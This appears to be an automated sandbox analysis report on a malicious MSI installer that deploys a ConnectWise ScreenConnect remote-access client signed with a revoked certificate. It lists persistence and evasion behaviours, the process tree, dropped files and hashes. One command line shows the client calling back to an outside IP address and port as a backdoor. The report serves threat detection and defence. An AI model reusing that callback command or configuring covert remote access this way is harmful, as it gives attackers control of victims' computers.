Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/09/2026, 18:06

General

  • Target
    239e08348e93521099925b54a985509ea438cdee05e0090e2403e0f895bbc9a2.msi
  • Size 12.8MB
  • Sample260911-wpvenabk4x
  • SHA256 239e08348e93521099925b54a985509ea438cdee05e0090e2403e0f895bbc9a2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\239e08348e93521099925b54a985509ea438cdee05e0090e2403e0f895bbc9a2.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:1176
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3772
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6E9A1872D0ACEEF2934D3E8F35715D9E C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3040
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIC966.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240700109 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1760
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5448
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding CFED100EED6149C33772896D148B3E2C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5664
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding ACCF6CB7FD543BBAD8787EB85E19E7CC E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1452
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5832
    • C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=107.178.102.60&p=8041&s=fe88bc74-8822-447d-8aba-9bb6d3a76b77&k=BgIAAACkAABSU0ExAAgAAAEAAQDtUl%2fvMsziellSzpFfM0P3IWXD9KbcvL%2frIhwAhrwr%2f8tmxo4s7QeEoXhjvbTMQ8dZbblCsNP4ee%2bFVZ%2b85dp1YqR6lPhxoULEknKV6abNdlwQtMy464HinsRv6YENfKtJD94lMUJ5WQafZHB7UTZJpXpV8WJj6IkZXoZYHa7lFIFusM84iwTJslalrSmj1zICbi6zSL8wFQu%2bvONRzMUpXnL0kkTL6bg2va5sO78Ic7Vt%2fwLSBU%2fxqxAOSaiBsQ9qmVgpw8EY9Cja0i5JeZ%2fMVj%2fGgVFQn5GBlT5O8NqhsZBV%2bzGH2dF05vxAegBoRagpa%2fI8mAHYL%2bq9bifCVmXf"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5952
      • C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.WindowsClient.exe" "RunRole" "00cdfadb-2237-4682-9297-a62016290f13" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4088
      • C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.WindowsClient.exe" "RunRole" "ceecc91e-537e-456f-a909-4ec380ca981b" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3624

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e591748.rbs

          • Path C:\Config.Msi\e591748.rbs
          • Size 214KB
          • SHA256 ca1cd07346bd2b14f994066b826a0c0715aabb03958c427281142ff629835028
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\Client.Override.en-US.resources
          • Size 306B
          • SHA256 90d1297eb86c583262a60b36815f5ba1f22ffc0e847fbfc4594bd798bd932dfb
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\Client.Override.resources
          • Size 284B
          • SHA256 d34730e7cbc6b21e8f8442f5829699558c626d7488641f0469df9bf0bd46912f
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\app.config
          • Size 742B
          • SHA256 7953f54eecaef554e8052120d5b544fbf2425b00b16459b2629c81706b7551b1
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (649ab488cbf0432c)\system.config
          • Size 946B
          • SHA256 8191e1c37ff5cf77311871f6d10cc338ff8b4b11495198f31fcd2b0f36d6585c
          • MD5 SHA1 SHA512 TLSH

          MSIC966.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC966.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC966.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC966.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC966.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC966.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI1D05.tmp

          • Path C:\Windows\Installer\MSI1D05.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e591747.msi

          • Path C:\Windows\Installer\e591747.msi
          • Size 12.8MB
          • SHA256 239e08348e93521099925b54a985509ea438cdee05e0090e2403e0f895bbc9a2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 de042da93c492928c6d236e5e8561cdbfd952e024b135ef9f07017205ce2e876
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {212e4338-df54-4993-90d0-a922842015f4}_OnDiskSnapshotProp

          • Path \??\Volume{cb1876cb-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{212e4338-df54-4993-90d0-a922842015f4}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 08d806d51506728c70ebf7f5a13c0da92f0d6335007c983508f8544123df867d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1760-26-0x0000000005D80000-0x0000000005E0C000-memory.dmp

          memory/1760-22-0x0000000003BD0000-0x0000000003BDA000-memory.dmp

          memory/1760-18-0x0000000003BF0000-0x0000000003C1E000-memory.dmp

          memory/1760-31-0x0000000006730000-0x0000000006CEA000-memory.dmp

          memory/1760-30-0x0000000005FC0000-0x000000000616C000-memory.dmp

          memory/4088-121-0x000000001B320000-0x000000001B4CC000-memory.dmp

          memory/4088-119-0x0000000002270000-0x00000000022A6000-memory.dmp

          memory/4088-118-0x0000000000060000-0x00000000000F8000-memory.dmp

          memory/4088-120-0x000000001B0E0000-0x000000001B16C000-memory.dmp

          memory/4088-122-0x000000001B660000-0x000000001B7E8000-memory.dmp

          memory/4088-123-0x0000000000A80000-0x0000000000A98000-memory.dmp

          memory/4088-124-0x00000000022B0000-0x00000000022C8000-memory.dmp

          memory/5952-106-0x0000000004280000-0x00000000042C1000-memory.dmp

          memory/5952-99-0x00000000041F0000-0x0000000004240000-memory.dmp

          memory/5952-104-0x0000000004320000-0x00000000043B2000-memory.dmp

          memory/5952-77-0x0000000001640000-0x0000000001658000-memory.dmp

          memory/5952-103-0x0000000004240000-0x0000000004276000-memory.dmp

          memory/5952-108-0x0000000004510000-0x00000000045E5000-memory.dmp